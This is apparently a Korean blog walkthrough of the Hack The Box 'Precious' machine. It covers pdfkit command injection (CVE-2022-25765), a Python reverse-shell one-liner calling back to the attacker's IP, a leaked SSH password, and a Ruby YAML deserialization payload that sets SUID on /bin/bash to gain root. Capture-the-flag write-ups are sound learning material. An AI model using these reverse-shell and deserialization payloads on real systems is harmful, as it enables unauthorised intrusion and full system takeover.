Home Hack The Box - Precious
Post
Cancel

Hack The Box - Precious

Hack the Box Precious 문제를 풀어 봅시다.


Port Scanning

nmap 스캐닝 결과를 아래와 같습니다. ssh 서비스와 http 서비스가 열려있습니다. ssh의 계정 정보는 모르기 때문에 http 서비스에 접속해 볼 수 있습니다.

Nmap-result

hosts 파일에 precious.htb를 등록하면 웹 페이지에 접근할 수 있습니다.

precious.htb


Command Injection

Page to PDF 기능을 이용하여 내 서버를 입력하게 되면(10.10.14.55:8000) pdf가 생성되는 것을 볼 수 있습니다. PDF 연결

변환된 pdf를 다운로드를 받을 수 있습니다. pdfkit v0.8.6 을 사용한 것을 확인할 수 있으며 해당 버전은 Command Injection 취약점이 있는 버전이며 CVE-2022-25765의 취약점이 존재합니다. pdfkit version

pdfkit v0.8.6 PoC 해당 링크를 통해 PoC를 확인할 수 있습니다.

URL에 whoami 명령어를 삽입했을 때 PDF에 결과를 확인할 수 있습니다. whoami 명령어 삽입

Command Injection result

Reverse Shell

Reverse Shell을 연결하기 위해 코드를 작성합니다.

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.55",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

해당 코드를 넣게 되면 성공적으로 리버스 쉘을 연결할 수 있습니다.

1
http://10.10.14.55:8000/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.55",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'`

ruby 계정으로 쉘 연결에 성공했으며 /home/henry 디렉토리에서 user flag를 확인할 수 있는데 현재 계정은(ruby)이라서 other 권한은 읽을 수가 없기 떄문에 Flag 파일을 읽을 수 없습니다.

user.txt

이것저것 파일을 다 뒤져보다 /home/ruby/.bundle/config 파일에서 ssh 계정으로 추측되는 파일을 획득할 수 있습니다.

ssh 추측

SSH Connection

획득한 henry 계정으로 ssh에 연결할 수 있습니다.

1
2
ssh henry@10.10.11.189
Q3c1AqGHtoI0aXAYFH

ssh 연결

해당 계정은 uid, gid(henry)이기 때문에 user.txt 파일을 읽을 수 있습니다.

user.txt

Privilige Escalation

sudo -l 명령어 입력 시 /opt/update_dependencies.rb 파일이 root파일로 실행됨을 알 수 있습니다.

sudo -l

update_dependencies.rb 파일의 내용은 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

해당 코드에서 YAML,Load()를 사용하는데 해당 함수는 역직렬화 취약점이 존재합니다. YAML 역직렬화 취약점 링크를 통해 취약점의 내용을 확인 할 수 있습니다.

dependencies.yml 파일 생성 후 Payload를 작성합니다. 파일은 henry 폴더에 존재해야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s
         method_id: :resolve

작성완료

sudo명령을 이용하여 /usr/bin/ruby/ /opt/update_dependencies.rb 파일을 실행하면 /bin/bashsetUID가 설정됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

/bin/bash -p 쉘을 실행하게 되면 루트 권한을 획득할 수 있습니다.

1
2
3
4
5
henry@precious:~$ /bin/bash -p
bash-5.1# id
\uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash-5.1#